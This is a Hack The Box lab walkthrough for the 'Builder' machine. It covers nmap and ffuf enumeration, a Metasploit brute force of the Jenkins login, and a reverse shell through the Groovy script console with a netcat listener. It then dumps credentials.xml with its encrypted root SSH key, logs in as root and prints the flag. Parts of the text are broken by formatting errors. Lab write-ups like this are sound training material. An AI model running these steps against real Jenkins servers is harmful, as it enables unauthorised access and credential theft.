



Builder

Difficulty: Medium

OS: Linux

Enumeration:

```
#( 04/09/24@ 6:46am )( m0j0@debianPc ):~/HTB/machines/builder
nmap -sC -sV -p- 10.10.11.10
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-09 06:47 B
ST
Nmap scan report for 10.10.11.10
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
8080/tcp  open  http      Jetty 10.0.18
|_http-title: Dashboard [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
```

```
|_http-server-header: Jetty(10.0.18)
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 17.73 seconds

Fuff did not show anything so I searched for Jenkins in **msfconsole**:

```
msf6 auxiliary(scanner/http/jenkins_login) > run
```

```
[-] 10.10.11.10:8080 - LOGIN FAILED: jennifer:123456 (Incorrect)
```

```
[-] 10.10.11.10:8080 - LOGIN FAILED: jennifer:12345 (Incorrect)
```

```
[-] 10.10.11.10:8080 - LOGIN FAILED: jennifer:123456789 (Incorrect)
```

```
[-] 10.10.11.10:8080 - LOGIN FAILED: jennifer:password (Incorrect)
```

```
[-] 10.10.11.10:8080 - LOGIN FAILED: jennifer:iloveyou (Incorrect)
```

```
[+] 10.10.11.10:8080 - Login Successful: jennifer:princess
```

```
[*] Scanned 1 of 1 hosts (100% complete)
```

```
[*] Auxiliary module execution completed
```

This allowed me in with the only user shown on Jenkins, now more enumeration:

```
##( 04/10/24@ 3:24am )( m0j0@debianPc )::~~/HTB/machines/builder
ffuf -u http://10.10.11.10:8080/FUZZ -w /opt/SecLists/Disc
overy/Web-Content/directory-list-2.3-medium.txt
```

```
/'___\ /'___\ /'___\
/\ ___/ /\ ___/  _  _  /\ ___/
\ \ ,__\ \ \ ,__\ \ \ \ \ ,__\
```

\ \ _/\ \ \ _/\ \ \ _/\ \ \ _/\
\ _\ \ \ _\ \ \ ___\ \ __\ \
// _/_/ ___\ _/_/

v1.1.0

```
:: Method          : GET
:: URL             : http://10.10.11.10:8080/FUZZ
:: Wordlist        : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration     : false
:: Timeout         : 10
:: Threads         : 40
:: Matcher         : Response status: 200,204,301,302,307,401,403
```

```
index                [Status: 200, Size: 38740, Words: 253
5, Lines: 149]
  38735, Words: 2535, Lines: 149]
about                [Status: 302, Size: 0, Words: 1, Lines: 1]
login               [Status: 200, Size: 2220, Words: 118, Lines: 9]
search              [Status: 302, Size: 0, Words: 1, Lines: 1]
                    [Status: 200, Size: 38735, Words: 253
5, Lines: 149]
people              [Status: 302, Size: 0, Words: 1, Lines: 1]
assets              [Status: 302, Size: 0, Words: 1, Lines: 1]
computers           [Status: 302, Size: 0, Words: 1, Lines: 1]
```

s: 1]	
log	[Status: 403, Size: 595, Words: 309,
Lines: 6]	
computer	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
api	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
me	[Status: 403, Size: 593, Words: 309,
Lines: 6]	
timeline	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
logout	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
404	[Status: 200, Size: 8580, Words: 463,
Lines: 21]	
script	[Status: 403, Size: 601, Words: 309,
Lines: 6]	
widgets	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
manage	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
configure	[Status: 403, Size: 628, Words: 314,
Lines: 8]	
properties	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
cloud	[Status: 403, Size: 599, Words: 309,
Lines: 6]	
builds	[Status: 200, Size: 36376, Words: 250
2, Lines: 153]	
i18n	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
oops	[Status: 200, Size: 8582, Words: 449,
Lines: 19]	
owner	[Status: 302, Size: 0, Words: 1, Line
s: 1]	
secured	[Status: 401, Size: 0, Words: 1, Line

```
s: 1]
appearance          [Status: 302, Size: 0, Words: 1, Line
s: 1]
cli                 [Status: 302, Size: 0, Words: 1, Line
s: 1]
queue               [Status: 302, Size: 0, Words: 1, Line
s: 1]
clouds              [Status: 302, Size: 0, Words: 1, Line
s: 1]
```

Ffuf shows a lot but after login I can access the `script` directory which allows me to run, yes a script! Looking around I found some interesting blogs this below stood out

Ok, got a shell using these step <https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6>

There seems to be no python on it as it is a docker container.

Also upgraded shell can be done as follows without python as follows:

```
SHELL=/bin/bash script -q /dev/null
```

```

#( 04/10/24@ 3:28am )( m0j0@debianPc ):~/HTB/machines/builder
  rlwrap -cAr nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.10] 43260
SHELL=/bin/bash script -q /dev/null
jenkins@0f52c222a4cc:/$
[1]  + 6156 suspended  rlwrap -cAr nc -lvnp 1234
#( 04/10/24@ 3:33am )( m0j0@debianPc ):~/HTB/machines/builder
  stty raw -echo && fg;

[1]  + 6156 continued  rlwrap -cAr nc -lvnp 1234
jenkins@0f52c222a4cc:/$ id
id
```

```
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
jenkins@0f52c222a4cc:/$
```

So I have an interactive shell now. That means time to look around!!

It doesn't take long to find a privatekey in the `jenkins_home` directory in an `xml` file.

```
cd /var/jenkins_home
jenkins@0f52c222a4cc:~$ ls
ls
config.xml                      nodes
copy_reference_file.log         plugins
credentials.xml                 queue.xml.bak
hudson.model.UpdateCenter.xml    secret.key
hudson.plugins.git.GitTool.xml  secret.key.not-so-se
cret
identity.key.enc                secrets
jenkins.install.InstallUtil.lastExecVersion updates
jenkins.install.UpgradeWizard.state user.txt
jenkins.telemetry.Correlator.xml userContent
jobs                            users
logs                           war
nodeMonitors.xml
jenkins@0f52c222a4cc:~$ pwd
pwd
/var/jenkins_home
jenkins@0f52c222a4cc:~$ cat config.xml
cat config.xml
<?xml version='1.1' encoding='UTF-8'?>
<hudson>
  <disabledAdministrativeMonitors/>
  <version>2.441</version>
  <numExecutors>2</numExecutors>
  <mode>NORMAL</mode>
  <useSecurity>true</useSecurity>
```

```

    <authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
        <denyAnonymousReadAccess>false</denyAnonymousReadAccess>
    </authorizationStrategy>
    <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
        <disableSignup>true</disableSignup>
        <enableCaptcha>false</enableCaptcha>
    </securityRealm>
    <disableRememberMe>false</disableRememberMe>
    <projectNamingStrategy class="jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy"/>
    <workspaceDir>${JENKINS_HOME}/workspace/${ITEM_FULL_NAME}</workspaceDir>
    <buildsDir>${ITEM_ROOTDIR}/builds</buildsDir>
    <jdks/>
    <viewsTabBar class="hudson.views.DefaultViewsTabBar"/>
    <myViewsTabBar class="hudson.views.DefaultMyViewsTabBar"/>
    <clouds/>
    <scmCheckoutRetryCount>0</scmCheckoutRetryCount>
    <views>
        <hudson.model.AllView>
            <owner class="hudson" reference="../../../../"/>
            <name>all</name>
            <filterExecutors>false</filterExecutors>
            <filterQueue>false</filterQueue>
            <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
    </views>
    <primaryView>all</primaryView>
    <slaveAgentPort>50000</slaveAgentPort>
    <label></label>
    <crumbIssuer class="hudson.security.csrf.DefaultCrumbIssuer">
        <excludeClientIPFromCrumb>false</excludeClientIPFromCrumb>
    </crumbIssuer>

```

```

</crumbIssuer>
<nodeProperties/>
<globalNodeProperties/>
<nodeRenameMigrationNeeded>false</nodeRenameMigrationNeeded
>
</hudson>jenkins@0f52c222a4cc:~$ cat credentials.xml
cat credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider
plugin="credentials@1319.v7eb_51b_3a_c97b_">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Has
h">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.jenkins.plugins.sshcredentials.impl.Ba
sicSSHUserPrivateKey plugin="ssh-credentials@308.ve4497b_ccd8
f4">
          <scope>GLOBAL</scope>
          <id>1</id>
          <description></description>
          <username>root</username>
          <usernameSecret>false</usernameSecret>
          <privateKeySource class="com.cloudbees.jenkins.plug
ins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPri
vateKeySource">
            <privateKey>{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyzta
YVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY1J4YKYFziwyFA1w
H/X5XHjUb8lUYkf/XSuDhR5tIpVWwkk7l1FTYwQQl/i5MOTww3b1QNzIAIv41
KLKDgsq4WUAS5RBt40Z7v410VZgdVDDciihmdDmqdsiGU0FubePU9a4tQoED2
uUHAwbPlduIXaAfDs77evLh98/INI8o/A+r1X6ehT0K40cD3NBEF/4Adl6B0
Q/NSWquI5xTmmEBi3NqpWttJl1q9so0zFV0C4mhQiGIYr8TPDbpdRfsgjGNK
TzIpjPPmRr+j5ym5noOP/LVw09+AoEYvzrVK1N7MWY0oUSqD+C9iXGxTgxSLW
dIeCALzz9GHuN7a1tYIClFHT1WQpa42EqfqcoB12dkP74EQ8JL4RrxgjjgEVeD

```


4stcmtU0FqXU/gezb/oh0Rko9tumajwLpQrLxbAycC6xg0uk/leKf1gkD0Emr
a07uiy2QBIihQbMKt5Ls+l+FLlqlcY4lPD+3Qwki5UfNHxQckFVWJQA0zfGvk
Rpyew2K60SoLjpnSrwUWCx/hMGtvvoHApudWsGz4esi3kfkJ+I/j4MbLCakYj
fDRLVtrHXgzWkZG/Ao+7qFdcQbimVgR0rncCwy1dwU5wtUEeyTlFRbjxXtIwr
YIx94+0thX8n74WI1H0/3rix6a4FcUR0yjRE9m//dGnigKtdFdIjqkGkK0PNC
Fpcgw9KcafUyLe4lXksAjf/MU4v1yqbhX0Fl4Q3u2IWTkL+xv2FUUmXx0EzAQ
2KtXvcyQLA9BXmqC0VWKNpqw1GAfQWKPen8g/zYT7TFA9kpYlAzjsf6Lrk4Cf
laa9xR7l4pSgvBJY0euQ8x2Xfh+AitJ6AM07K8o36iwQVZ8+p/I7IGPDQHMHZ
vobRBZ92QGpcq0BDqUpPQqmRMZc3wN63vCMxzABeqqg9Q02J6jq1KUgpuzHD2
7L9RE0fYbsi/um3ELI7Nd090DmrBNp2y0Am0Bx0c9e90r0oc+Tx2K0JlEPIJS
CBB0m0kMr5H4EXQsu9CvTSb/Gd3xmrk+rCFJx3UJ6yzjcmAHBNIolWvSxSi7w
ZrQl40WuxagsG10YbxHzjqgoKTa0VSv0mtiilt0/NS0rucozJFUCp7p8v73yw
R6tTuR6kmyTGjhKqAKoybMWq4geDOM/6nMTJP1Z9mA+778Wgc7EYpwJQlmKnR
k0bf08rEdhrrJoJ7a4No2FDridFt68HNqAATBnoZr1CzELhvCicvLgNur+Zhj
EqDnsIW94bL5hRWANDV4YzBtFxCW29LJ6/LtTSw9LE2to3i1sexiLP8y9Fxm
oWPWRDxgn9lv9ktcoMhmA72icQAFfWNSpieB8Y7TQ0YBhcxpS2M3mRjtZUbe4
Wx+MjrJLbZSsf/Z1bxETbd4dh4ub7QWNcVxLZWPvTGix+JClnn/oiMeFH0Faz
mYLjJG6pTUstU6PJXu3t4Yktg8Z6tk8ev9QVoPNq/XmZY2h5MgCoc/T0D6iRR
2X249+9lTU5Ppm8BvnNHAQ31Pzx178G3IO+ziC2DfTcT++SAUS/VR9T3TnBeM
QFsv9GKlYjvgKTd6Rx+oX+D2sN1WKWHLp85g6DsufByTC3o/OZGSnjUmDpMAS
6wg0Z3bYcxzrTcj9pnR3jcywwPCGkjpS03ZmEDtuU0XUthrs7EZZqCxELqf9a
QWbpUswN8nVLPzqAGbBMQQJHPmS4FSjHXvgFHntWjeg0yRgf7cVaD0aQXDzTZ
eWm3dcLomYJe2xfRKNLkBA/t3le35+bH0Se/p7Prbv0v/jlxBenvQY+2GGoch
s7SW0oaYjGnd7QXUomZxK6l7vmwGoJi+R/D+ujAB1/5JcrH8fI0mP8Z+ZoJrz
iMF2bhpR1vc0SiDq0+Bpk7yb8AIikCD0W5XlXqnX7C+I6mN0nyGtuanEhiJSF
VqQ3R+MrGbMwRzzQmtfQ5G34m67Gvzl1IQMHyQvwFeFtx4GHRlm1QGBXEGlz6
H1Vi5jPum2AVNMCNCak45l/9PltdJrz+Uq/d+LXcnYfKagEN39ekTPpkQrCV+
P0S65y4l1VFE1mX45CR4Qvxa1ZA4qjJqTnZP4s/YD1Ix+XfcJDpKpksvCnN5/
ubVJzBKLEHS0oKwiyNHEwdkD9j8Dg9y88G8xrc7jr+ZcZtHSJRlK1o+VaeNOS
eQut3iZjmpy0Ko1ZiC8gFsVJg8nWLCat10cp+xTy+fJ1VyIMHxUWrZu+duVAp
FYpl6ji8A4bUxkroMMgyPdQU8rjJwhMGEP7TcWQ4Uw2s6xoQ7nRG0UuLH4Qf1
OqzC6ref7n33gsz18XASxjBg6eUIw9Z9s5lZyDH1SZ04jI25B+GgZjbe7UYoA
X13MnVMstYK0xKnaig2Rnbl9NsGgnVuTDlAgS02pclPnxj1gCBS+bsxewgm6c
NR18/ZT4ZT+YT1+uk5Q304tBF6z/M67mRdQqQqWRfgA5x0AEJvAEb2dftvR98
ho8cRMVw/0S3T60reiB/0oYrt/Ihw0cvIoo4M92eo5CduZnajt4onOCTC13kM
qTwdqC36cDxuX5aDD0Ee920DaaLxTfZ1Id4ukCrscAo0ZtCMxncK9uv06kwpY

```
ZPMUasVQLEdDW+DixC2EnXT56IELG5xj3/1nqnieMhavTt5yipvfNJfbFMqjH
jHBlDY/MCkU89l6p/xk6JMH+9SWaFlTkjwshZDA/o0/E9Pump5GkqMIw3V/70
1fR0/dR/Rq3RdCtmdb3bwQKIXdYSB1XgBLnVC7090Tf12P0+DMQ1UrT7PcGF2
2dqAe6VfTH8wFqmDqidhEdKiZYIFF0he9+u300XPZldMzaSLjj8ZZy5hGCPaR
S613b7MZ8JjqaFGWZUZurecXUiXiUg0M9/1WyECyRq6FcfZtza+q5t94IPnyP
TqmUYTmZ9wZgmhoxUjWm2AenjkRDzIEhzyXRiX4/vD0QTWfYFryunYPSrGzI
p3FhI0cxqm1JQ2SgsgTStzFZZ47Yj/ZV61DMdr95eCo+bkfdijnBa5SsGRUdj
afeU5hqZM1vTxRLU1G7Rr/yxmma5mAHGeIXHTWRHYSWn9gonoSBFAAXvj0bZj
TeNBAmU8eh6RI6pdapVLeQ0tEiw0u4vB/7mgxJrVfFWbN6w8AMrJBdrFzjENn
vcq0qmmNugMAIict6hK48438fb+BX+E3y8YUN+LnbLsoxTRVFH/NFpuaw+iZv
UPm0hDfdxD9JIL6FFpaodsm1ksTPz366bc0cNONXSxuD0fJ5+WVvReTFdi+ag
F+sF2jk0hGTjc7pGAg2z110084PzXW1TKN2yD9YHgo9xYa8E2k6pYSpVxxYlR
ogfz9exupYVievBPkQnKo1Qoi15+eunzHKrxm3WQssFMcYCdYHlJtwCbgrKCh
sFys4oUE7iw0YQ0MsAdcg/hWuBX878aR+/3HsHaB10TicTxtaaMR8IMMaKSM
=}</privateKey>
```

So I tried online to format this but even though it looked goo it asked me for a password. Back to the script console on the jenkins dashboard. Reading some docs on line I can use it to decrypt:

Trying this key works after changing perms:

Builder

6_64)

- * Documentation: <https://help.ubuntu.com>
- * Management: <https://landscape.canonical.com>
- * Support: <https://ubuntu.com/pro>

System information as of Wed Apr 10 03:08:13 AM UTC 2024

System load: 0.1318359375
Usage of /: 67.2% of 5.81GB
Memory usage: 41%
Swap usage: 0%
Processes: 226
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.10
IPv6 address for eth0: dead:beef::250:56ff:feb9:7bb2

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.

See <https://ubuntu.com/esm> or run: `sudo pro status`

The list of available updates is more than a week old.
To check for new updates run: `sudo apt update`

Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
root@builder:~# cat /root/root.txt
713fe277414eb3818cfe236373a60279

```
root@builder:~# id  
uid=0(root) gid=0(root) groups=0(root)
```

Yay root - tbh I found this really easy yet refreshing and made my brain remember things I had forgot (:

Happy Hacking m0j0.